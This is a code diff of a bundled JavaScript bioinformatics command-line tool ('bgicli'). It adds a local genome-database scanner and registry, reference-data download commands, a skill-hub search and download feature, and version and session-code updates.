|
14583
|
+
|
|
14584
|
+
**\u4F7F\u7528\u539F\u5219**\uFF1A\u5206\u6790\u65F6\u4F18\u5148\u4F7F\u7528\u5DF2\u6CE8\u518C\u7684\u672C\u5730\u6570\u636E\u5E93\u8DEF\u5F84\uFF0C\u65E0\u9700\u91CD\u590D\u4E0B\u8F7D\u3002\u8DEF\u5F84\u5E26 \u26A0 \u8868\u793A\u6587\u4EF6\u5DF2\u4E0D\u5B58\u5728\uFF0C\u9700\u91CD\u65B0\u786E\u8BA4\u3002
|
|
14585
|
+
|
|
14586
|
+
---
|
|
14587
|
+
|
|
14389
14588
|
## OpenClaw Medical Skills (979\u4E2A\u4E13\u79D1\u6280\u80FD)
|
|
14390
14589
|
|
|
14391
14590
|
\u6280\u80FD\u5E93\u4F4D\u4E8E: **${SKILLS_DIR}**
|
|
@@ -14538,6 +14737,273 @@ message(sprintf("\u603B\u57FA\u56E0\u6570: %d | \u663E\u8457 DEG: %d (\u4E0A\u8C
|
|
|
14538
14737
|
\u2192 \u7ACB\u5373\u8C03\u7528 fetch_geo("GSE12345") \u83B7\u53D6\u5143\u6570\u636E\u548C\u4E0B\u8F7D\u4EE3\u7801\uFF0C\u65E0\u9700\u8BA9\u7528\u6237\u624B\u52A8\u4E0B\u8F7D`;
|
|
14539
14738
|
}
|
|
14540
14739
|
|
|
14740
|
+
// src/databases.ts
|
|
14741
|
+
var import_fs4 = require("fs");
|
|
14742
|
+
var import_path4 = require("path");
|
|
14743
|
+
var import_os3 = require("os");
|
|
14744
|
+
function loadDbRegistry() {
|
|
14745
|
+
if (!(0, import_fs4.existsSync)(DATABASES_FILE)) {
|
|
14746
|
+
return { version: 1, lastScan: null, databases: {} };
|
|
14747
|
+
}
|
|
14748
|
+
try {
|
|
14749
|
+
return JSON.parse((0, import_fs4.readFileSync)(DATABASES_FILE, "utf8"));
|
|
14750
|
+
} catch {
|
|
14751
|
+
return { version: 1, lastScan: null, databases: {} };
|
|
14752
|
+
}
|
|
14753
|
+
}
|
|
14754
|
+
function saveDbRegistry(registry) {
|
|
14755
|
+
(0, import_fs4.writeFileSync)(DATABASES_FILE, JSON.stringify(registry, null, 2), "utf8");
|
|
14756
|
+
}
|
|
14757
|
+
function addDbEntry(registry, entry) {
|
|
14758
|
+
const id = entry.id ?? slugify(`${entry.genome}-${entry.type}-${Date.now()}`);
|
|
14759
|
+
const full = { ...entry, id, addedAt: (/* @__PURE__ */ new Date()).toISOString() };
|
|
14760
|
+
registry.databases[id] = full;
|
|
14761
|
+
return full;
|
|
14762
|
+
}
|
|
14763
|
+
function removeDbEntry(registry, id) {
|
|
14764
|
+
if (!registry.databases[id]) return false;
|
|
14765
|
+
delete registry.databases[id];
|
|
14766
|
+
return true;
|
|
14767
|
+
}
|
|
14768
|
+
function slugify(s2) {
|
|
14769
|
+
return s2.toLowerCase().replace(/[^a-z0-9]+/g, "-").replace(/^-|-$/g, "");
|
|
14770
|
+
}
|
|
14771
|
+
var FILE_PATTERNS = [
|
|
14772
|
+
// Reference FASTA
|
|
14773
|
+
{ regex: /\bhg38\b.*\.f(ast)?a(\.gz)?$/i, type: "fasta", genome: "hg38" },
|
|
14774
|
+
{ regex: /\bGRCh38\b.*\.f(ast)?a(\.gz)?$/i, type: "fasta", genome: "hg38" },
|
|
14775
|
+
{ regex: /\bhg19\b.*\.f(ast)?a(\.gz)?$/i, type: "fasta", genome: "hg19" },
|
|
14776
|
+
{ regex: /\bGRCh37\b.*\.f(ast)?a(\.gz)?$/i, type: "fasta", genome: "hg19" },
|
|
14777
|
+
{ regex: /\bmm10\b.*\.f(ast)?a(\.gz)?$/i, type: "fasta", genome: "mm10" },
|
|
14778
|
+
{ regex: /\bGRCm38\b.*\.f(ast)?a(\.gz)?$/i, type: "fasta", genome: "mm10" },
|
|
14779
|
+
{ regex: /\bmm39\b.*\.f(ast)?a(\.gz)?$/i, type: "fasta", genome: "mm39" },
|
|
14780
|
+
{ regex: /\bGRCm39\b.*\.f(ast)?a(\.gz)?$/i, type: "fasta", genome: "mm39" },
|
|
14781
|
+
{ regex: /\.f(ast)?a(\.gz)?$/i, type: "fasta", genome: "other" },
|
|
14782
|
+
// GTF / GFF
|
|
14783
|
+
{ regex: /\bhg38\b.*\.gtf(\.gz)?$/i, type: "gtf", genome: "hg38" },
|
|
14784
|
+
{ regex: /\bGRCh38\b.*\.gtf(\.gz)?$/i, type: "gtf", genome: "hg38" },
|
|
14785
|
+
{ regex: /\bhg19\b.*\.gtf(\.gz)?$/i, type: "gtf", genome: "hg19" },
|
|
14786
|
+
{ regex: /\bmm10\b.*\.gtf(\.gz)?$/i, type: "gtf", genome: "mm10" },
|
|
14787
|
+
{ regex: /\.gtf(\.gz)?$/i, type: "gtf", genome: "other" },
|
|
14788
|
+
{ regex: /\.gff3?(\.gz)?$/i, type: "gff3", genome: "other" },
|
|
14789
|
+
// VCF databases
|
|
14790
|
+
{ regex: /dbsnp.*\.vcf(\.gz)?$/i, type: "vcf", genome: "hg38" },
|
|
14791
|
+
{ regex: /clinvar.*\.vcf(\.gz)?$/i, type: "vcf", genome: "hg38" },
|
|
14792
|
+
{ regex: /gnomad.*\.vcf(\.gz)?$/i, type: "vcf", genome: "hg38" },
|
|
14793
|
+
{ regex: /mills.*\.vcf(\.gz)?$/i, type: "vcf", genome: "hg38" },
|
|
14794
|
+
{ regex: /1000G.*\.vcf(\.gz)?$/i, type: "vcf", genome: "hg38" },
|
|
14795
|
+
{ regex: /hapmap.*\.vcf(\.gz)?$/i, type: "vcf", genome: "hg38" },
|
|
14796
|
+
// BED
|
|
14797
|
+
{ regex: /\.(bed|bed\.gz)$/i, type: "bed", genome: "other" }
|
|
14798
|
+
];
|
|
14799
|
+
var DIR_PATTERNS = [
|
|
14800
|
+
{ regex: /star.*index|star_genome/i, type: "star_index", indicator: "Genome.sjdbInfo.txt" },
|
|
14801
|
+
{ regex: /hisat2.*index/i, type: "hisat2_index", indicator: ".ht2" },
|
|
14802
|
+
{ regex: /salmon.*index/i, type: "salmon_index", indicator: "info.json" },
|
|
14803
|
+
{ regex: /kraken2?/i, type: "kraken2_db", indicator: "hash.k2d" },
|
|
14804
|
+
{ regex: /diamond/i, type: "diamond_db", indicator: ".dmnd" },
|
|
14805
|
+
{ regex: /blast_db|blastdb/i, type: "blast_db", indicator: ".nsq" }
|
|
14806
|
+
];
|
|
14807
|
+
function defaultSearchRoots() {
|
|
14808
|
+
const home = (0, import_os3.homedir)();
|
|
14809
|
+
const roots = [
|
|
14810
|
+
"/data",
|
|
14811
|
+
"/ref",
|
|
14812
|
+
"/reference",
|
|
14813
|
+
"/genomes",
|
|
14814
|
+
"/databases",
|
|
14815
|
+
"/db",
|
|
14816
|
+
"/lustre",
|
|
14817
|
+
"/GPFS",
|
|
14818
|
+
"/scratch",
|
|
14819
|
+
"/work",
|
|
14820
|
+
"/shared",
|
|
14821
|
+
(0, import_path4.join)(home, "databases"),
|
|
14822
|
+
(0, import_path4.join)(home, "data"),
|
|
14823
|
+
(0, import_path4.join)(home, "reference"),
|
|
14824
|
+
(0, import_path4.join)(home, "ref"),
|
|
14825
|
+
process.cwd()
|
|
14826
|
+
];
|
|
14827
|
+
return roots.filter((r2) => (0, import_fs4.existsSync)(r2));
|
|
14828
|
+
}
|
|
14829
|
+
function detectGenomeFromPath(path) {
|
|
14830
|
+
const p2 = path.toLowerCase();
|
|
14831
|
+
if (p2.includes("hg38") || p2.includes("grch38")) return "hg38";
|
|
14832
|
+
if (p2.includes("hg19") || p2.includes("grch37") || p2.includes("b37")) return "hg19";
|
|
14833
|
+
if (p2.includes("mm10") || p2.includes("grcm38")) return "mm10";
|
|
14834
|
+
if (p2.includes("mm39") || p2.includes("grcm39")) return "mm39";
|
|
14835
|
+
if (p2.includes("rn7")) return "rn7";
|
|
14836
|
+
if (p2.includes("dm6")) return "dm6";
|
|
14837
|
+
if (p2.includes("danrer")) return "danRer11";
|
|
14838
|
+
return "other";
|
|
14839
|
+
}
|
|
14840
|
+
function labelFor(type, genome, name) {
|
|
14841
|
+
const typeLabels = {
|
|
14842
|
+
fasta: "\u53C2\u8003\u57FA\u56E0\u7EC4 FASTA",
|
|
14843
|
+
gtf: "\u57FA\u56E0\u6CE8\u91CA GTF",
|
|
14844
|
+
gff3: "\u57FA\u56E0\u6CE8\u91CA GFF3",
|
|
14845
|
+
vcf: "VCF \u53D8\u5F02\u6570\u636E\u5E93",
|
|
14846
|
+
bed: "BED \u533A\u57DF\u6587\u4EF6",
|
|
14847
|
+
star_index: "STAR \u6BD4\u5BF9\u7D22\u5F15",
|
|
14848
|
+
hisat2_index: "HISAT2 \u6BD4\u5BF9\u7D22\u5F15",
|
|
14849
|
+
bwa_index: "BWA \u6BD4\u5BF9\u7D22\u5F15",
|
|
14850
|
+
bowtie2_index: "Bowtie2 \u6BD4\u5BF9\u7D22\u5F15",
|
|
14851
|
+
salmon_index: "Salmon \u5B9A\u91CF\u7D22\u5F15",
|
|
14852
|
+
kraken2_db: "Kraken2 \u5B8F\u57FA\u56E0\u7EC4\u5E93",
|
|
14853
|
+
diamond_db: "DIAMOND \u86CB\u767D\u5E93",
|
|
14854
|
+
blast_db: "BLAST \u6570\u636E\u5E93",
|
|
14855
|
+
other: "\u6570\u636E\u5E93"
|
|
14856
|
+
};
|
|
14857
|
+
const genomeLabel = genome !== "other" ? ` (${genome})` : "";
|
|
14858
|
+
return `${typeLabels[type]}${genomeLabel} \u2014 ${name}`;
|
|
14859
|
+
}
|
|
14860
|
+
function scanForDatabases(extraRoots = []) {
|
|
14861
|
+
const roots = [...defaultSearchRoots(), ...extraRoots.map((r2) => (0, import_path4.resolve)(r2))];
|
|
14862
|
+
const found = [];
|
|
14863
|
+
const seen = /* @__PURE__ */ new Set();
|
|
14864
|
+
let skippedDirs = 0;
|
|
14865
|
+
function walk(dir, depth) {
|
|
14866
|
+
if (depth > 4) return;
|
|
14867
|
+
let entries;
|
|
14868
|
+
try {
|
|
14869
|
+
entries = (0, import_fs4.readdirSync)(dir);
|
|
14870
|
+
} catch {
|
|
14871
|
+
skippedDirs++;
|
|
14872
|
+
return;
|
|
14873
|
+
}
|
|
14874
|
+
for (const name of entries) {
|
|
14875
|
+
if (name.startsWith(".")) continue;
|
|
14876
|
+
const fullPath = (0, import_path4.join)(dir, name);
|
|
14877
|
+
let stat;
|
|
14878
|
+
try {
|
|
14879
|
+
stat = (0, import_fs4.statSync)(fullPath);
|
|
14880
|
+
} catch {
|
|
14881
|
+
continue;
|
|
14882
|
+
}
|
|
14883
|
+
if (stat.isDirectory()) {
|
|
14884
|
+
for (const dp of DIR_PATTERNS) {
|
|
14885
|
+
if (dp.regex.test(name)) {
|
|
14886
|
+
if (!dp.indicator || (0, import_fs4.readdirSync)(fullPath).some((f2) => f2.endsWith(dp.indicator))) {
|
|
14887
|
+
const genome = detectGenomeFromPath(fullPath);
|
|
14888
|
+
const id = slugify(`${genome}-${dp.type}-${(0, import_path4.basename)(fullPath)}`);
|
|
14889
|
+
if (!seen.has(fullPath)) {
|
|
14890
|
+
seen.add(fullPath);
|
|
14891
|
+
found.push({
|
|
14892
|
+
id,
|
|
14893
|
+
genome,
|
|
14894
|
+
type: dp.type,
|
|
14895
|
+
path: fullPath,
|
|
14896
|
+
label: labelFor(dp.type, genome, name),
|
|
14897
|
+
addedAt: (/* @__PURE__ */ new Date()).toISOString(),
|
|
14898
|
+
source: "scan"
|
|
14899
|
+
});
|
|
14900
|
+
}
|
|
14901
|
+
break;
|
|
14902
|
+
}
|
|
14903
|
+
}
|
|
14904
|
+
}
|
|
14905
|
+
if (!DIR_PATTERNS.some((dp) => dp.regex.test(name))) {
|
|
14906
|
+
try {
|
|
14907
|
+
const sub = (0, import_fs4.readdirSync)(fullPath);
|
|
14908
|
+
if (sub.some((f2) => f2.endsWith(".bwt")) && sub.some((f2) => f2.endsWith(".ann"))) {
|
|
14909
|
+
const genome = detectGenomeFromPath(fullPath);
|
|
14910
|
+
const id = slugify(`${genome}-bwa_index-${(0, import_path4.basename)(fullPath)}`);
|
|
14911
|
+
if (!seen.has(fullPath)) {
|
|
14912
|
+
seen.add(fullPath);
|
|
14913
|
+
found.push({ id, genome, type: "bwa_index", path: fullPath, label: labelFor("bwa_index", genome, name), addedAt: (/* @__PURE__ */ new Date()).toISOString(), source: "scan" });
|
|
14914
|
+
}
|
|
14915
|
+
}
|
|
14916
|
+
} catch {
|
|
14917
|
+
}
|
|
14918
|
+
walk(fullPath, depth + 1);
|
|
14919
|
+
}
|
|
14920
|
+
} else if (stat.isFile()) {
|
|
14921
|
+
for (const fp of FILE_PATTERNS) {
|
|
14922
|
+
if (fp.regex.test(name)) {
|
|
14923
|
+
const genome = fp.genome === "other" ? detectGenomeFromPath(fullPath) : fp.genome;
|
|
14924
|
+
const id = slugify(`${genome}-${fp.type}-${name.replace(/\.gz$/, "").replace(/\.[^.]+$/, "")}`);
|
|
14925
|
+
if (!seen.has(fullPath)) {
|
|
14926
|
+
seen.add(fullPath);
|
|
14927
|
+
found.push({
|
|
14928
|
+
id,
|
|
14929
|
+
genome,
|
|
14930
|
+
type: fp.type,
|
|
14931
|
+
path: fullPath,
|
|
14932
|
+
label: labelFor(fp.type, genome, name),
|
|
14933
|
+
sizeBytes: stat.size,
|
|
14934
|
+
addedAt: (/* @__PURE__ */ new Date()).toISOString(),
|
|
14935
|
+
source: "scan"
|
|
14936
|
+
});
|
|
14937
|
+
}
|
|
14938
|
+
break;
|
|
14939
|
+
}
|
|
14940
|
+
}
|
|
14941
|
+
}
|
|
14942
|
+
}
|
|
14943
|
+
}
|
|
14944
|
+
for (const root of new Set(roots)) {
|
|
14945
|
+
walk(root, 0);
|
|
14946
|
+
}
|
|
14947
|
+
return { found, skippedDirs };
|
|
14948
|
+
}
|
|
14949
|
+
function buildDbPromptSection(registry) {
|
|
14950
|
+
const entries = Object.values(registry.databases);
|
|
14951
|
+
if (entries.length === 0) {
|
|
14952
|
+
return "\uFF08\u6682\u672A\u6CE8\u518C\u4EFB\u4F55\u6570\u636E\u5E93\u3002\u4F7F\u7528 /db scan \u81EA\u52A8\u626B\u63CF\uFF0C\u6216 /db add <\u8DEF\u5F84> \u624B\u52A8\u6DFB\u52A0\uFF09";
|
|
14953
|
+
}
|
|
14954
|
+
const byGenome = {};
|
|
14955
|
+
for (const e2 of entries) {
|
|
14956
|
+
(byGenome[e2.genome] ??= []).push(e2);
|
|
14957
|
+
}
|
|
14958
|
+
const lines = [];
|
|
14959
|
+
for (const [genome, dbs] of Object.entries(byGenome).sort()) {
|
|
14960
|
+
lines.push(`### ${genome}`);
|
|
14961
|
+
for (const db of dbs.sort((a2, b2) => a2.type.localeCompare(b2.type))) {
|
|
14962
|
+
const exists = (0, import_fs4.existsSync)(db.path) ? "" : " \u26A0(\u8DEF\u5F84\u4E0D\u5B58\u5728)";
|
|
14963
|
+
const size = db.sizeBytes ? ` [${(db.sizeBytes / 1e9).toFixed(1)}GB]` : "";
|
|
14964
|
+
lines.push(`- **${db.label}** (\`${db.type}\`): \`${db.path}\`${size}${exists}`);
|
|
14965
|
+
}
|
|
14966
|
+
lines.push("");
|
|
14967
|
+
}
|
|
14968
|
+
return lines.join("\n").trim();
|
|
14969
|
+
}
|
|
14970
|
+
var DOWNLOAD_GUIDES = {
|
|
14971
|
+
"hg38-fasta": {
|
|
14972
|
+
label: "GRCh38 \u53C2\u8003\u57FA\u56E0\u7EC4 (UCSC)",
|
|
14973
|
+
cmds: [
|
|
14974
|
+
"wget https://hgdownload.soe.ucsc.edu/goldenPath/hg38/bigZips/hg38.fa.gz",
|
|
14975
|
+
"gunzip hg38.fa.gz && samtools faidx hg38.fa"
|
|
14976
|
+
]
|
|
14977
|
+
},
|
|
14978
|
+
"hg19-fasta": {
|
|
14979
|
+
label: "GRCh37/hg19 \u53C2\u8003\u57FA\u56E0\u7EC4 (UCSC)",
|
|
14980
|
+
cmds: [
|
|
14981
|
+
"wget https://hgdownload.soe.ucsc.edu/goldenPath/hg19/bigZips/hg19.fa.gz",
|
|
14982
|
+
"gunzip hg19.fa.gz && samtools faidx hg19.fa"
|
|
14983
|
+
]
|
|
14984
|
+
},
|
|
14985
|
+
"mm10-fasta": {
|
|
14986
|
+
label: "GRCm38/mm10 \u53C2\u8003\u57FA\u56E0\u7EC4 (UCSC)",
|
|
14987
|
+
cmds: ["wget https://hgdownload.soe.ucsc.edu/goldenPath/mm10/bigZips/mm10.fa.gz"]
|
|
14988
|
+
},
|
|
14989
|
+
"hg38-gtf": {
|
|
14990
|
+
label: "Ensembl hg38 \u57FA\u56E0\u6CE8\u91CA GTF",
|
|
14991
|
+
cmds: ["wget https://ftp.ensembl.org/pub/release-110/gtf/homo_sapiens/Homo_sapiens.GRCh38.110.gtf.gz"]
|
|
14992
|
+
},
|
|
14993
|
+
"hg38-dbsnp": {
|
|
14994
|
+
label: "dbSNP b156 VCF (hg38)",
|
|
14995
|
+
cmds: ["wget https://ftp.ncbi.nlm.nih.gov/snp/latest_release/VCF/GCF_000001405.40.gz"]
|
|
14996
|
+
},
|
|
14997
|
+
"hg38-clinvar": {
|
|
14998
|
+
label: "ClinVar VCF (hg38)",
|
|
14999
|
+
cmds: ["wget https://ftp.ncbi.nlm.nih.gov/pub/clinvar/vcf_GRCh38/clinvar.vcf.gz"]
|
|
15000
|
+
},
|
|
15001
|
+
"hg38-gnomad": {
|
|
15002
|
+
label: "gnomAD v4 sites VCF (hg38)",
|
|
15003
|
+
cmds: ["# See https://gnomad.broadinstitute.org/downloads for latest URLs"]
|
|
15004
|
+
}
|
|
15005
|
+
};
|
|
15006
|
+
|
|
14541
15007
|
// src/skillRouter.ts
|
|
14542
15008
|
var SKILL_CATEGORIES = {
|
|
14543
15009
|
"\u8F6C\u5F55\u7EC4": { label: "\u8F6C\u5F55\u7EC4\u5B66 (Transcriptomics)", icon: "\u{1F9EC}" },
|
|
@@ -15285,17 +15751,17 @@ function routeSkill(message) {
|
|
|
15285
15751
|
}
|
|
15286
15752
|
|
|
15287
15753
|
// src/sessions.ts
|
|
15288
|
-
var
|
|
15289
|
-
var
|
|
15290
|
-
var SESSIONS_DIR = (0,
|
|
15291
|
-
var CHECKPOINTS_DIR = (0,
|
|
15754
|
+
var import_fs5 = require("fs");
|
|
15755
|
+
var import_path5 = require("path");
|
|
15756
|
+
var SESSIONS_DIR = (0, import_path5.join)(BGI_DIR, "sessions");
|
|
15757
|
+
var CHECKPOINTS_DIR = (0, import_path5.join)(BGI_DIR, "checkpoints");
|
|
15292
15758
|
function ensureSessionDirs() {
|
|
15293
15759
|
for (const d2 of [SESSIONS_DIR, CHECKPOINTS_DIR]) {
|
|
15294
|
-
if (!(0,
|
|
15760
|
+
if (!(0, import_fs5.existsSync)(d2)) (0, import_fs5.mkdirSync)(d2, { recursive: true });
|
|
15295
15761
|
}
|
|
15296
15762
|
}
|
|
15297
15763
|
function sessionPath(id) {
|
|
15298
|
-
return (0,
|
|
15764
|
+
return (0, import_path5.join)(SESSIONS_DIR, `${id}.json`);
|
|
15299
15765
|
}
|
|
15300
15766
|
function newSessionId() {
|
|
15301
15767
|
const now = /* @__PURE__ */ new Date();
|
|
@@ -15319,25 +15785,25 @@ function saveSession(id, name, messages, skills, createdAt) {
|
|
|
15319
15785
|
preview,
|
|
15320
15786
|
messages
|
|
15321
15787
|
};
|
|
15322
|
-
(0,
|
|
15788
|
+
(0, import_fs5.writeFileSync)(sessionPath(id), JSON.stringify(session, null, 2), "utf8");
|
|
15323
15789
|
}
|
|
15324
15790
|
function loadSession(id) {
|
|
15325
15791
|
ensureSessionDirs();
|
|
15326
15792
|
const p2 = sessionPath(id);
|
|
15327
|
-
if (!(0,
|
|
15793
|
+
if (!(0, import_fs5.existsSync)(p2)) return null;
|
|
15328
15794
|
try {
|
|
15329
|
-
return JSON.parse((0,
|
|
15795
|
+
return JSON.parse((0, import_fs5.readFileSync)(p2, "utf8"));
|
|
15330
15796
|
} catch {
|
|
15331
15797
|
return null;
|
|
15332
15798
|
}
|
|
15333
15799
|
}
|
|
15334
15800
|
function listSessions() {
|
|
15335
15801
|
ensureSessionDirs();
|
|
15336
|
-
const files = (0,
|
|
15802
|
+
const files = (0, import_fs5.readdirSync)(SESSIONS_DIR).filter((f2) => f2.endsWith(".json"));
|
|
15337
15803
|
const metas = [];
|
|
15338
15804
|
for (const f2 of files) {
|
|
15339
15805
|
try {
|
|
15340
|
-
const raw = JSON.parse((0,
|
|
15806
|
+
const raw = JSON.parse((0, import_fs5.readFileSync)((0, import_path5.join)(SESSIONS_DIR, f2), "utf8"));
|
|
15341
15807
|
metas.push({
|
|
15342
15808
|
id: raw.id,
|
|
15343
15809
|
name: raw.name,
|
|
@@ -15354,8 +15820,8 @@ function listSessions() {
|
|
|
15354
15820
|
}
|
|
15355
15821
|
function deleteSession(id) {
|
|
15356
15822
|
const p2 = sessionPath(id);
|
|
15357
|
-
if (!(0,
|
|
15358
|
-
(0,
|
|
15823
|
+
if (!(0, import_fs5.existsSync)(p2)) return false;
|
|
15824
|
+
(0, import_fs5.unlinkSync)(p2);
|
|
15359
15825
|
return true;
|
|
15360
15826
|
}
|
|
15361
15827
|
function getLastSession() {
|
|
@@ -15363,7 +15829,7 @@ function getLastSession() {
|
|
|
15363
15829
|
return all[0] ?? null;
|
|
15364
15830
|
}
|
|
15365
15831
|
function checkpointPath(id) {
|
|
15366
|
-
return (0,
|
|
15832
|
+
return (0, import_path5.join)(CHECKPOINTS_DIR, `${id}.json`);
|
|
15367
15833
|
}
|
|
15368
15834
|
function saveCheckpoint(sessionId, label, messages, skills) {
|
|
15369
15835
|
ensureSessionDirs();
|
|
@@ -15377,16 +15843,16 @@ function saveCheckpoint(sessionId, label, messages, skills) {
|
|
|
15377
15843
|
messages,
|
|
15378
15844
|
skills
|
|
15379
15845
|
};
|
|
15380
|
-
(0,
|
|
15846
|
+
(0, import_fs5.writeFileSync)(checkpointPath(id), JSON.stringify(cp, null, 2), "utf8");
|
|
15381
15847
|
return id;
|
|
15382
15848
|
}
|
|
15383
15849
|
function listCheckpoints(sessionId) {
|
|
15384
15850
|
ensureSessionDirs();
|
|
15385
|
-
const files = (0,
|
|
15851
|
+
const files = (0, import_fs5.readdirSync)(CHECKPOINTS_DIR).filter((f2) => f2.endsWith(".json"));
|
|
15386
15852
|
const cps = [];
|
|
15387
15853
|
for (const f2 of files) {
|
|
15388
15854
|
try {
|
|
15389
|
-
const cp = JSON.parse((0,
|
|
15855
|
+
const cp = JSON.parse((0, import_fs5.readFileSync)((0, import_path5.join)(CHECKPOINTS_DIR, f2), "utf8"));
|
|
15390
15856
|
if (!sessionId || cp.sessionId === sessionId) cps.push(cp);
|
|
15391
15857
|
} catch {
|
|
15392
15858
|
}
|
|
@@ -15395,8 +15861,8 @@ function listCheckpoints(sessionId) {
|
|
|
15395
15861
|
}
|
|
15396
15862
|
function deleteCheckpoint(id) {
|
|
15397
15863
|
const p2 = checkpointPath(id);
|
|
15398
|
-
if (!(0,
|
|
15399
|
-
(0,
|
|
15864
|
+
if (!(0, import_fs5.existsSync)(p2)) return false;
|
|
15865
|
+
(0, import_fs5.unlinkSync)(p2);
|
|
15400
15866
|
return true;
|
|
15401
15867
|
}
|
|
15402
15868
|
function clearCheckpoints(sessionId) {
|
|
@@ -15409,8 +15875,86 @@ function clearCheckpoints(sessionId) {
|
|
|
15409
15875
|
}
|
|
15410
15876
|
|
|
15411
15877
|
// src/index.ts
|
|
15412
|
-
var
|
|
15413
|
-
var VERSION2 = "2.2.
|
|
15878
|
+
var import_fs7 = require("fs");
|
|
15879
|
+
var VERSION2 = "2.2.15";
|
|
15880
|
+
var SKILLHUB_HUBS = {
|
|
15881
|
+
bgi: { label: "BGI\u5185\u7F51", apiBase: "https://clawhub.ai", backend: "clawhub" },
|
|
15882
|
+
clawhub: { label: "clawhub.ai", apiBase: "https://clawhub.ai", backend: "clawhub" },
|
|
15883
|
+
tencent: { label: "Tencent", apiBase: "https://lightmake.site", backend: "tencent" }
|
|
15884
|
+
};
|
|
15885
|
+
function httpGetJson(url) {
|
|
15886
|
+
const mod = url.startsWith("https") ? import_https2.get : require("http").get;
|
|
15887
|
+
return new Promise((resolve4, reject) => {
|
|
15888
|
+
const req = mod(url, { headers: { "User-Agent": `bgicli/${VERSION2}`, Accept: "application/json" } }, (res) => {
|
|
15889
|
+
const chunks = [];
|
|
15890
|
+
res.on("data", (c2) => chunks.push(c2));
|
|
15891
|
+
res.on("end", () => {
|
|
15892
|
+
try {
|
|
15893
|
+
resolve4(JSON.parse(Buffer.concat(chunks).toString()));
|
|
15894
|
+
} catch (e2) {
|
|
15895
|
+
reject(new Error(`JSON parse error from ${url}`));
|
|
15896
|
+
}
|
|
15897
|
+
});
|
|
15898
|
+
});
|
|
15899
|
+
req.setTimeout(1e4, () => {
|
|
15900
|
+
req.destroy();
|
|
15901
|
+
reject(new Error("timeout"));
|
|
15902
|
+
});
|
|
15903
|
+
req.on("error", reject);
|
|
15904
|
+
});
|
|
15905
|
+
}
|
|
15906
|
+
async function searchSkillHub(query, hub, limit2 = 10) {
|
|
15907
|
+
const cfg = SKILLHUB_HUBS[hub];
|
|
15908
|
+
if (cfg.backend === "tencent") {
|
|
15909
|
+
const data = await httpGetJson(
|
|
15910
|
+
`${cfg.apiBase}/api/skills?page=1&pageSize=${limit2}&keyword=${encodeURIComponent(query)}`
|
|
15911
|
+
);
|
|
15912
|
+
if (data.code !== 0 || !data.data?.skills) return [];
|
|
15913
|
+
return data.data.skills.map((s2) => ({
|
|
15914
|
+
slug: s2.slug,
|
|
15915
|
+
name: s2.name,
|
|
15916
|
+
summary: s2.description ?? "",
|
|
15917
|
+
version: s2.version,
|
|
15918
|
+
owner: s2.ownerName ?? (s2.homepage ? s2.homepage.replace(/.*clawhub\.ai\/([^/]+)\/.*/, "$1") : void 0)
|
|
15919
|
+
}));
|
|
15920
|
+
} else {
|
|
15921
|
+
const data = await httpGetJson(
|
|
15922
|
+
`${cfg.apiBase}/api/v1/search?q=${encodeURIComponent(query)}&limit=${limit2}&nonSuspiciousOnly=true`
|
|
15923
|
+
);
|
|
15924
|
+
if (!data.results) return [];
|
|
15925
|
+
return data.results.map((s2) => ({
|
|
15926
|
+
slug: s2.slug,
|
|
15927
|
+
name: s2.displayName ?? s2.slug,
|
|
15928
|
+
summary: s2.summary ?? "",
|
|
15929
|
+
version: s2.version ?? void 0
|
|
15930
|
+
}));
|
|
15931
|
+
}
|
|
15932
|
+
}
|
|
15933
|
+
async function downloadSkillMd(slug) {
|
|
15934
|
+
const data = await new Promise((resolve4, reject) => {
|
|
15935
|
+
const req = (0, import_https2.get)(
|
|
15936
|
+
`https://clawhub.ai/api/v1/skills/${encodeURIComponent(slug)}/file?path=SKILL.md`,
|
|
15937
|
+
{ headers: { "User-Agent": `bgicli/${VERSION2}` } },
|
|
15938
|
+
(res) => {
|
|
15939
|
+
if (res.statusCode === 404) {
|
|
15940
|
+
req.destroy();
|
|
15941
|
+
reject(new Error("not_found"));
|
|
15942
|
+
return;
|
|
15943
|
+
}
|
|
15944
|
+
const chunks = [];
|
|
15945
|
+
res.on("data", (c2) => chunks.push(c2));
|
|
15946
|
+
res.on("end", () => resolve4(Buffer.concat(chunks).toString()));
|
|
15947
|
+
}
|
|
15948
|
+
);
|
|
15949
|
+
req.setTimeout(15e3, () => {
|
|
15950
|
+
req.destroy();
|
|
15951
|
+
reject(new Error("timeout"));
|
|
15952
|
+
});
|
|
15953
|
+
req.on("error", reject);
|
|
15954
|
+
});
|
|
15955
|
+
return data;
|
|
15956
|
+
}
|
|
15957
|
+
var _lastSearchResults = [];
|
|
15414
15958
|
function isNewer(latest, current) {
|
|
15415
15959
|
const [lM, lm, lp] = latest.split(".").map(Number);
|
|
15416
15960
|
const [cM, cm, cp] = current.split(".").map(Number);
|
|
@@ -15421,7 +15965,7 @@ function isNewer(latest, current) {
|
|
|
15421
15965
|
async function checkAndAutoUpdate() {
|
|
15422
15966
|
let latest;
|
|
15423
15967
|
try {
|
|
15424
|
-
latest = await new Promise((
|
|
15968
|
+
latest = await new Promise((resolve4, reject) => {
|
|
15425
15969
|
const req = (0, import_https2.get)(
|
|
15426
15970
|
"https://registry.npmjs.org/@bgicli/bgicli/latest",
|
|
15427
15971
|
{ headers: { "User-Agent": `bgicli/${VERSION2}` } },
|
|
@@ -15430,7 +15974,7 @@ async function checkAndAutoUpdate() {
|
|
|
15430
15974
|
res.on("data", (c2) => chunks.push(c2));
|
|
15431
15975
|
res.on("end", () => {
|
|
15432
15976
|
try {
|
|
15433
|
-
|
|
15977
|
+
resolve4(JSON.parse(Buffer.concat(chunks).toString()).version);
|
|
15434
15978
|
} catch {
|
|
15435
15979
|
reject(new Error("parse"));
|
|
15436
15980
|
}
|
|
@@ -15452,10 +15996,10 @@ async function checkAndAutoUpdate() {
|
|
|
15452
15996
|
\u{1F504} \u53D1\u73B0\u65B0\u7248\u672C v${latest}\uFF08\u5F53\u524D v${VERSION2}\uFF09\uFF0C\u6B63\u5728\u81EA\u52A8\u66F4\u65B0...
|
|
15453
15997
|
`)
|
|
15454
15998
|
);
|
|
15455
|
-
const ok = await new Promise((
|
|
15999
|
+
const ok = await new Promise((resolve4) => {
|
|
15456
16000
|
(0, import_child_process2.exec)(
|
|
15457
16001
|
`npm install -g @bgicli/bgicli@${latest} --registry https://registry.npmjs.org`,
|
|
15458
|
-
(error) =>
|
|
16002
|
+
(error) => resolve4(!error)
|
|
15459
16003
|
);
|
|
15460
16004
|
});
|
|
15461
16005
|
if (ok) {
|
|
@@ -15474,21 +16018,21 @@ var SESSION_CTX = {
|
|
|
15474
16018
|
wdirSnapshot: null
|
|
15475
